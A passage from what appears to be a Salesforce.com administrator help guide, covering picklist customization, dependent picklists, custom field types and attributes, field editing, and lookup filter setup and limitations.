Partner Role (for accounts) Roles of account partners, for example, Consultant, Supplier.
These options are available when you add an account to the
Partners related list of an account or opportunity.
To edit, click Setup ➤ Customize ➤ Accounts ➤ Partner
Roles.
Enter the name of the partner role in the “Role” column. In
the “Reverse Role” column, enter the corresponding reverse
partner role. Assigning a partner role to an account creates a
800
Customize Modifying Picklists
Picklist Description
reverse partner relationship so that both accounts list the other
as a partner.
Each role and reverse role value can have up to 40 characters.
Status (for campaign members) State of a campaign member, for example, Sent or Responded.
If you delete a Status value, you have the option to map the
deleted value to another existing value. The new replacement
value is automatically added to the member status for
campaigns that contained the deleted value.
If the deleted value is the default member status for a
campaign, the new replacement value becomes the default
status for that campaign.
Status (for contracts) State of the contract in the contract business process. You can
add values to this picklist and organize each value into one of
several categories, for example, “Draft,” “In Approval Process,”
or “Activated.” Then sort your contracts using these categories
in reports and views.
Contact Role (for contracts) Role of a contact on a contract, for example, Business User,
Decision Maker. These options are available when you add a
contact to the Contact Roles related list of a contract.
To edit, click Setup ➤ Customize ➤ Contracts ➤ Contact
Roles.
Each picklist value can have up to 40 characters.
Lead Status (for leads) State of the lead, for example, Open, Qualified.
Select one value as the “Default Status” assigned to all new
leads created manually, via the import wizard, or via your
website. Select one or more values as the “Converted Status”
assigned to converted leads. When you convert qualified leads
into an account, contact, and opportunity, you can select one
801
Customize Modifying Picklists
Picklist Description
of the “Converted” statuses to assign to the lead. Leads with
a “Converted” status type are no longer available in the Leads
tab, although you can include them in reports.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
leads.
Each value can have up to 20 characters.
Contact Role (for opportunities) Role of a contact for an opportunity, for example, Business
User, Decision Maker. These options are available when you
add a contact to the Contact Roles related list of an
opportunity.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Contact Roles.
Each picklist value can have up to 40 characters.
Stage (for opportunities) Sales process stages, for example, Prospect, Proposal. This
picklist also affects the Type and Forecast Category
values of an opportunity. Specifically, changing the Type or
Forecast Category for a Stage picklist value updates all
opportunities that have that stage value.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Fields, and select Edit next to the field.
To deactivate an active stage, click Del next to the stage. On
the mapping page, don't replace the stage with another existing
value; just click Save. The stage now appears in the Inactive
Stage Picklist Values related list. The stage is no longer in use
but may exist in older opportunity records.
Status (for solutions) Status of a solution, for example, Draft, Reviewed. Mark one
or more values as “Reviewed.” When users solve cases using
solutions, they can view which solutions have been reviewed
and which have not. Each picklist value can have up to 40
characters.
Priority (for tasks) Importance of the task, for example, High, Normal, Low. Set
one value as the default priority of all new tasks, and one value
as the highest priority.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 20 characters.
802
Customize Modifying Picklists
Picklist Description
Status (for tasks) State of a task, for example, Not Started, Completed. Choose
at least one value as the “Closed” status and one value as the
“Default” status for all new tasks.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 40 characters.
Task Type (for tasks) Send Email Default specifies the default task type
assigned when the task is sending email or mass email.
Default specifies the default picklist value when creating
tasks.
See Also:
Modifying Picklists
Picklist Limitations
Picklist Limitations
Available in: All Editions
The maximum number of entries you can have in a standard or custom picklist is determined by the total number of characters
allowed in the picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are
not visible. These two additional characters per entry are counted as part of the 15,000 character limit.
Additional limits apply to both standard and custom picklists.
803
Customize Defining Dependent Picklists
See Also:
Modifying Picklists
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.
804
Customize Defining Dependent Picklists
Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these
fields, see Dependent Picklist Considerations on page 808.
5. Click Continue.
6. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling
field value.
7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how
it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling
field. The record type and the controlling field together determine what values are available in the dependent pickilst. For
example, a dependent value is only available if it is available in the selected record type as well as the selected controlling
value.
Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.
8. Click Save.
9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the
appropriate record types. For instructions on using record types, see Managing Record Types on page 1004.
See Also:
Dependent Picklist Considerations
Editing Dependent Picklists
Deleting Picklist Dependencies
Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or mutli-select
picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be
any standard or custom picklist (with at least one and fewer than 300 values) or checkbox field on the same record.
For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the
Stage picklist as follows:
• If Stage is Closed Won, the valid values for Reason are Superior features or Lower price.
• If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company
viability.
See Also:
Defining Dependent Picklists
Dependent Picklist Considerations
805
Customize Defining Dependent Picklists
The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling
field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values.
Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the
controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value.
To include or exclude values:
• Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values
to exclude them.
• Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to
make the values available, or Exclude Values to remove them from the list of available values.
• Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
• Click a column header to select all the values in that column. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
806
Customize Defining Dependent Picklists
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.
See Also:
About Dependent Picklists
If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the
dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete
the fields or affect their data.
To delete picklist dependencies:
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Field Dependencies.
4. Click Del next to the field dependency relationship you want to delete.
5. Click OK to confirm.
See Also:
About Dependent Picklists
807
Customize Defining Dependent Picklists
Converting fields
Convert your existing fields to dependent picklists or controlling fields without affecting the existing values in your
records. Going forward, dependency rules apply to any changes to existing records or new records.
Default values
You can set default values for controlling fields but not for dependent picklists.
Field-level security
Field-level security settings for a controlling field and dependent picklist are completely independent. Remember to hide
controlling fields whenever its correlating dependent picklist is hidden.
Import
The import wizards do not consider field dependencies. Any value can be imported into a dependent picklist regardless
of the value imported for a controlling field.
Lead conversion
If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create
the same dependency on the account, contact, or opportunity as well.
Dependent picklists and controlling lead fields can be mapped to account, contact, or opportunity fields with different
dependency rules.
Multi-select picklists
Multi-select picklists can be dependent picklists but not controlling fields.
Connect Offline
While controlling fields and dependent picklists are available in Connect Offline, the logic between them is not.
Page layouts
Make sure controlling fields exist on any page layout that contains their associated dependent picklist. When the
controlling field is not on the same page layout, the dependent picklist shows no available values.
For visually-impaired users, make sure the dependent picklist is lower on the page layout than its controlling field.
808
Customize Defining Dependent Picklists
If a dependent picklist is required and no values are available for it based on the controlling field value, users can save
the record without entering a value. The record is saved with no value for that field.
Picklist limitations
Custom picklist fields can be either controlling or dependent fields.
Standard picklist fields can be controlling fields but not dependent fields.
The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field
and dependent picklist, it can't contain more than 300 values.
Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do
not contain any values until you add them.
If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for
the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by
Self-Service User is a controlling field, its dependent picklist will display all available values.
Show Time As
Subject
Task
Type
Contact Fields
Salutation
Contact Currency
Lead Fields
Converted
Unread By Owner
Record types
The values in your controlling fields are determined by the record type selected. The values in your dependent picklists
are determined by the record type and controlling field value selected. In short, the values available in dependent picklists
are an intersection of the record type and controlling field selections. For more information on record types, see Managing
Record Types on page 1004.
See Also:
About Dependent Picklists
809
Customize Sorting Picklists
Sorting Picklists
Available in: All Editions
You can sort the values of custom or standard picklist and multi-select picklist fields.
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive
values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are
sorted alphabetically.
See Also:
Modifying Picklists
810
Customize Replacing Picklists
Replacing Picklists
Available in: All Editions
You can globally replace the values of custom or standard picklist fields in existing records.
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Make sure the replacement value already exists in the picklist values.
3. Click Replace next to the picklist.
4. Type the exact value you want to change, and select a new replacement value.
5. Check Replace all blank values to apply the new value on any records that do not have a value in this field.
6. Click Replace to update all occurrences of the value with the new value in your organization’s records including those in
the Recycle Bin.
Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected
Revenue fields will also be updated with the corresponding values.
See Also:
Modifying Picklists
To tailor Salesforce.com for your organization, you can add custom fields for each of the tabs and objects that your organization
uses. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on page 1584.
811
Customize About Custom Fields
Create custom fields to store the information that is important to your organization. Before you begin, determine the type of
custom field you want to create. You can create many different custom field types, including lookup, master-detail, and
hierarchical relationships.
To add a custom field:
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.
2. Click New in the Custom Fields & Relationships section of the page.
Tip: From this section, you can also set field dependencies and field history tracking on custom objects.
812
Customize About Custom Fields
Note:
• Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
• Relationship fields count towards custom field limits.
• Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
• The Roll-Up Summary option is only available on certain objects.
• Field types correspond to API data types. For more information, see “API Data Types and API Field Types”
in the Web Services API Developer's Guide.
4. For relationship fields, choose the object that you want to associate with it.
5. Enter a field label.
The field name is automatically populated based on the field label you enter. This name can contain only underscores and
alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end
with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 414.
Tip: Ensure the custom field name is not identical to any standard field name for that object. If a custom field
and standard field have the same name and you reference that name in a merge field, the merge field displays the
value of the custom field.
Note:
• When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field
is universally required.
• Profiles with “View Encrypted Data” permission are indicated with an asterisk.
10. Choose the page layouts that should display the field as an editable field.
The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is
added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added
to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or
make it read only.
813
Customize About Custom Fields
11. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users’ existing personal customizations.
12. Click Save to finish or Save & New to create more custom fields.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
See Also:
Custom Field Attributes
Notes on Changing Custom Field Types
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Roll-Up Summaries
Managing Deleted Custom Fields
Custom Settings Overview
Building Formulas
Defining Default Field Values
Type Description
Auto Number Automatically assigns a unique sequential number to each
record. The maximum length of any auto-number field is 30
characters, 20 of which are reserved for prefix or suffix text.
Checkbox Allows users to check a box, indicating a true or false attribute
of a record. When using a checkbox field for a report or list
view filter, use “True” for checked values and “False” for
unchecked values. The import wizards and the weekly export
tool use “1” for checked values and “0” for unchecked values.
Currency Allows users to enter a currency amount. The system
automatically formats the field as a currency amount. This can
be useful if you export data to Excel or another spreadsheet.
814
Customize About Custom Fields
Type Description
Date Allows users to enter a date or pick a date from a popup
calendar. In reports, you can limit the data by specific dates
using any custom date field.
Date/Time Allows users to enter a date or pick a date from a popup
calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.
Email Allows users to enter an email address, which is validated to
ensure proper format. If this field is specified for contacts or
leads, users can choose the address when clicking Send an
Email. Note that you can't use custom email addresses for
mass emails.
Formula Allows users to automatically calculate values based on other
values or fields such as merge fields. See Building Formulas
on page 878 and Operators and Functions on page 931.
Hierarchical Relationship Creates a hierarchical lookup relationship between users.
Allows users to use a lookup field to associate one user with
another that does not directly or indirectly refer to itself. For
example, you can create a custom hierarchical relationship
field to store each user's direct manager.
Lookup Relationship Creates a relationship between two records so you can associate
them with each other. For example, opportunities have a
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
A lookup relationship has no effect on record deletion or
security, and the lookup field is not required in the page layout.
If a lookup field references a record that is deleted,
Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up
summary fields. For more information on relationships, see
Overview of Relationships on page 1375.
Lookup relationship fields are not available in Personal
Edition.
Lookup relationship fields to campaign members are not
available; however, lookup relationship fields from campaign
members to other objects are available.
815
Customize About Custom Fields
Type Description
Master-Detail Relationship Creates a relationship between records where the master record
controls certain behaviors of the detail record such as record
deletion and security. For more information on relationships,
see Overview of Relationships on page 1375.
Available for custom objects only, although you can create a
master-detail relationship field on a custom object that links
to a standard object.
Master-detail relationships cannot be used with campaign
members.
816
Customize About Custom Fields
Type Description
maximum length of up to 175 characters. To enable encrypted
fields for your organization, contact salesforce.com.
Text Area Allows users to enter up to 255 characters that display on
separate lines similar to a Description field.
Text Area (Long) Allows users to enter up to 32,000 characters that display on
separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,000 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,000 character limit. This
data type is not available for activities or products on
opportunities.
Text Area (Rich) With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,000 characters, inclusive of all the
formatting and HTML tags. The maximum size for uploaded
images is 1MB. Only gif, jpeg and png file types are
supported. For more information, see Using Rich Text Area
Fields on page 844.
URL Allows users to enter up to 255 characters of any valid website
address. When users click on the field, the URL will open in
a separate browser window. Note that only the first 50
characters are displayed on the record detail pages.
See Also:
Changing Custom Field Type
Notes on Changing Custom Field Types
About Roll-Up Summary Fields
Field Description
# Visible Lines For long text area fields, set the number of lines to be displayed on edit
pages. You can display between 2 and 50 lines (the default is 6 lines). If the
817
Customize About Custom Fields
Field Description
text does not fit in the specified number of visible lines, scroll bars will
appear. Long text area fields are displayed in their entirety on detail pages
and printable views.
Calculation Options Option that determines how a roll-up summary field is recalculated after
its properties change. Choose Automatic calculation to recalculate
a field the next time it is displayed. Choose Force a mass
recalculation of this field as a safety net option to force
recalculation of the roll-up summary field values.
Child Relationship Name The name used in API SOQL relationship queries.
Data Type The data type of a field determines what type of information is in the field.
For example, an field with the Number data type contains a positive or
negative integer. For more information on data types, see Custom Field
Types on page 814.
Decimal Places For number, currency, and percent fields, the number of digits you can enter
to the right of a decimal point, for example, 4.98 for an entry of 2. Note
that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the
number rounds to 4.99.
Default Value The value to apply when a user creates a new record. For checkbox custom
fields, choose Checked or Unchecked as the default value to indicate the
default when creating new records. Default values should not be assigned
to fields that are both required and unique, as uniqueness errors may result.
See About Default Field Values on page 887.
Description Text that describes the custom field. This description is for administration
purposes only and does not display to users on record detail and edit pages
that include the field.
Display Format For auto-number fields, enter a Display Format to control such formatting
details as the minimum number of leading zeros as well as any prefix or
suffix for the number.
Begin by entering the required minimum: {0}. This is a placeholder for the
auto-number without any leading zeros. Add any prefix to your number
before this placeholder and insert any suffix text after the placeholder. Insert
any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD},
which always represent the create date of the record.
For information on using auto-number formats when entering your
Display Format, see Auto-Number Formatting Examples on page 821.
External ID For each object that can have custom fields, you can set up to three custom
text, number, or email fields as external IDs. An external ID field contains
record identifiers from a system outside of Salesforce.com.
You can use an external ID field to update or upsert records using the API.
When using the API or import wizards for custom objects and solutions,
818
Customize About Custom Fields
Field Description
you can use this field to prevent duplicates by also marking the field as
Unique.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.
Filter Criteria The criteria used to select a group of records to calculate the value of a
roll-up summary field.
Formulas Enter the formula for the custom formula field or custom summary formula
for reports. For help on building formulas, see Building Formulas on page
878.
Help Text The text that displays in the field-level help hover text for this field.
Label Name of the custom field as you want it to appear.
Length (for text fields) For text fields, the maximum number of characters that a user can enter in
a field (up to 255 characters).
Length (for number, currency, percent fields) For number, currency, and percent fields, the number of digits you can enter
to the left of the decimal point, for example, 123.98 for an entry of 3.
Mask Character For encrypted text fields, determines the character to use for hidden
characters. Available options are * and X.
Mask Type For encrypted text fields, determines which characters are hidden and the
use of dashes in the field. Masked characters are hidden using the character
selected in Mask Character. Available options are:
Mask All Characters
All characters in the field are hidden.
Last Four Characters Clear
All characters are hidden but the last four display.
Credit Card Number
The first 12 characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after every fourth character.
National Insurance Number
All characters are hidden. Salesforce.com automatically inserts spaces
after each pair of characters if the field contains nine characters. Use
this option for UK NINO fields.
Social Security Number
The first five characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after the third and fifth
characters.
819
Customize About Custom Fields
Field Description
Social Insurance Number
All characters are hidden but the last three display. Salesforce.com
automatically inserts a dash after the third and sixth characters.
Master Object The object on the master side of a master-detail relationship used to display
the value of a roll-up summary field.
Related List Label For relationship fields, the title for the related list that displays associated
records on the parent record.
Related To For relationship fields, the name of the associated object.
Required Makes the field required everywhere in Salesforce.com.
You must specify a default value for required campaign member custom
fields.
Default values should not be assigned to fields that are both required and
unique, as uniqueness errors may result. .See About Universally Required
Fields on page 925.
Roll-Up Type For roll-up summary fields, choose the type of calculation to make:
Type Description
COUNT Totals the number of related records.
SUM Totals the values in the field you select in the Field to
Aggregate option. Only number, currency, and percent fields
are available.
MIN Displays the lowest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
MAX Displays the highest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
Starting Number
For auto-number fields, enter a Starting Number that is less than 1
billion. Check Generate Auto Number for existing records...
if you would like to automatically number all current records beginning with
the starting number you enter. If unchecked, the next record you enter will
be assigned the starting number and your existing records will be blank in
this field. For leads, only unconverted leads will be assigned a number.
An auto-number field can contain up to 10 digits and up to 20 additional
characters for your prefix or suffix.
820
Customize About Custom Fields
Field Description
Sharing Setting For master-detail relationship fields, the Sharing Setting attribute
determines the sharing access that users must have to a master record in
order to create, edit, or delete its associated detail records.
Summarized Object The object on the detail side of a master-detail relationship used to provide
the values calculated in a roll-up summary field.
Unique If checked, prevents duplicate field values.
For text fields, you can control whether values that are identical except for
their case are considered unique. Select Treat "ABC" and "abc" as
duplicate values to enforce case-insensitive uniqueness, or select
Treat "ABC" and "abc" as different values to enforce
case-sensitive uniqueness.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.
Values For picklist fields, a list of available values (up to 255 characters for each
value). For picklists, select the appropriate checkbox to alphabetize the
picklist entries. You can also set the first value as the default selection. If
you mark both boxes, Salesforce.com first alphabetizes the entries and then
sets the first alphabetized value as the default. For multi-select picklists,
enter a list of values, check the sorting options that apply, and enter how
many values you want displayed at a time on edit pages, which determines
the box height.
See Also:
Creating a Many-to-Many Relationship
Web Services API Developer's Guide
821
Customize About Custom Fields
Editing Fields
Available in: All Editions
1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Edit next to the field’s name.
4. Modify the field attributes. The attributes differ depending on the field type.
To change the type of your custom field, see Changing Custom Field Type on page 986.
To make changes to picklists:
• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or
change additional information.
• Click Del next to a value to remove it from the picklist.
Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case
Status—may prompt you to map the deleted value to another existing value in all of your organization’s records. You
can map the values or leave your existing data unchanged.
• Click New to add values to the picklist. If you use record types, select any record types that you want to include the
new values.
• Click Reorder to change the sequence of picklist values.
• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:
- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need
certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest
as “Assigned dynamically.”
Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.
822
Customize About Custom Fields
7. For formula fields, click Next to modify the formula. See Building Formulas on page 878.
8. In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Setting
Field-Level Security on page 540.
9. Click Save.
Note:
• Editing fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
• To customize the way a custom object’s related list appears on a parent record’s detail page, edit the parent record’s
page layout. For example, if you want to edit which fields appear on a custom object’s related list on accounts, you
would edit the account page layout.
• You cannot change the Field Name if a custom field is referenced in an Apex script.
See Also:
Changing Custom Field Type
Setting Field-Level Security
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Default Field Values
About Universally Required Fields
Managing Deleted Custom Fields
Note: Salesforce.com beta features are production-quality but are not functionally complete.
823
Customize About Custom Fields
• Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out
Partner and Competitor.
• Restrict the Account Name field on opportunities to allow only active accounts.
• Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name
field on the case record.
• Restrict the Account Name field on cases to allow only users with the “International Sales” profile to create or edit cases
for accounts outside the United States.
Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of
lookup filter criteria that Salesforce.com suggests based on the relationships between objects in your organization.
• For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also,
users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value,
Salesforce.com displays an error message, which administrators can customize.
• For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially;
however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values
for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and
Salesforce.com does not display an error message if a user tries to save such values.
See Also:
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Note: Salesforce.com beta features are production-quality but are not functionally complete.
824
Customize About Custom Fields
A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can
configure the case Contact field to only show contacts associated with the account selected in the case Account Name field.
When a user changes the value of a referenced field on the source object, Salesforce.com immediately verifies that the value
in the dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, Salesforce.com displays an
error message and users can't save the record until the value is valid.
If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing.
Instead, users must click the lookup icon and select a value in the lookup search dialog.
See Also:
About Lookup Filters
Notes on Lookup Filters
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Note: Salesforce.com beta features are production-quality but are not functionally complete.
Beta Limitations
• You cannot create filtered lookups on person account fields; however, lookup filter criteria can reference person account
fields.
• Visualforce pages, the Salesforce to Salesforce invitation page, Ideas, and the Division field don't fully support dependent
lookups. Fields on these pages with dependent lookups still appear and Salesforce.com still prevents the user from saving
the record if the lookup is required; however, Salesforce.com does not dynamically filter lookup the dialog results or prevent
users from entering invalid values.
• Some standard objects, such as Content, Products, or Cases, can't use dependent lookups. You can have a dependent
lookup on a field on the Opportunity object, but it can't lookup to the Opportunity object.
• If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization
at the same time.
825
Customize About Custom Fields
Best Practices
Custom Help
Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example,
if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that
states You can only associate active accounts with opportunities.
Error Messages
Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts
the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't
exist or isn't an active account.
Important: Salesforce.com translates the standard error message for required lookup filters, but not custom
error messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore
the standard error message after modifying it, click Reset to default message.
Testing
After creating a lookup filter, test it to make sure it is not too restrictive. Some relationship fields may be read only to
users with certain profiles; ensure your lookup filters don't prevent those users from editing records critical to their job
functions.
Dependent Lookups on Page Layouts and Mini Page Layouts in the Console
When designing page layouts with dependent lookups:
• If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout.
Moving a required dependent lookup above its controlling field may confuse users who typically start from the top
of a page when entering data.
• Ensure that both the controlling and dependent fields are visible so users can correct invalid values.
Implementation Notes
• Salesforce.com supports lookup filters on relationship fields that point to:
- Accounts
- Assets
- Contacts
- Entitlements
- Quotes
- Service contracts
826
Customize About Custom Fields
- Users
- Custom objects
For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa.
• Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as
the fields are compatible.
• Lookup filter criteria cannot reference the following types of fields on the source object:
- Autonumber
- Encrypted
- Formula
- Long text area
- Multi-select picklist
- Roll-up summary
- Text
- Text area
- URL
• On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter
is required.
• If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria,
Salesforce.com displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than
typing profile names.
• The lookup filters you create in Salesforce.com also appear in the partner portal and Customer Portal.
• Lookup filters are case-sensitive.
• If you convert a required lookup filter with a custom error message to optional, Salesforce.com deletes the message.
• If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits
the record, Salesforce.com displays an error message and requires the user to change the invalid value before saving.
• Salesforce.com prevents you from saving changes that cause required lookup filters on related records to contain invalid
values.
• Lookup auto-completion does not work for fields referenced by lookup filter criteria.
827
Customize About Custom Fields
• Salesforce.com ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead
Convert checkbox on the Lead Settings page is deselected.
• Versions 16.0 and higher of the Salesforce.com API support lookup filters. Lookup filters are enforced when you load data
through the API.
• If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users
are never valid for relationship fields that point to the User object.
• In enhanced list views, you cannot change fields that a dependent lookup filter criteria references.
• Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a
mass owner change can result in incorrect values that won't be noticed until you attempt to save the record.
• Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support.
• Salesforce.com does not display an error message if the value of a controlling field invalidates the value of a dependent
master-detail relationship field.
• Salesforce.com does not support inline editing in list views for:
- Fields on the source object that are referenced in dependent lookups.
- Fields with dependent lookups.
Other Limitations
• Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and
custom objects, with the following exceptions:
- Relationship fields on activities
828
Customize About Custom Fields
- System fields that are always read only, such as Created By and Modified By
- Relationship fields that support queues, such as Case Owner, Lead Owner, and Delegated Approver
• Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you
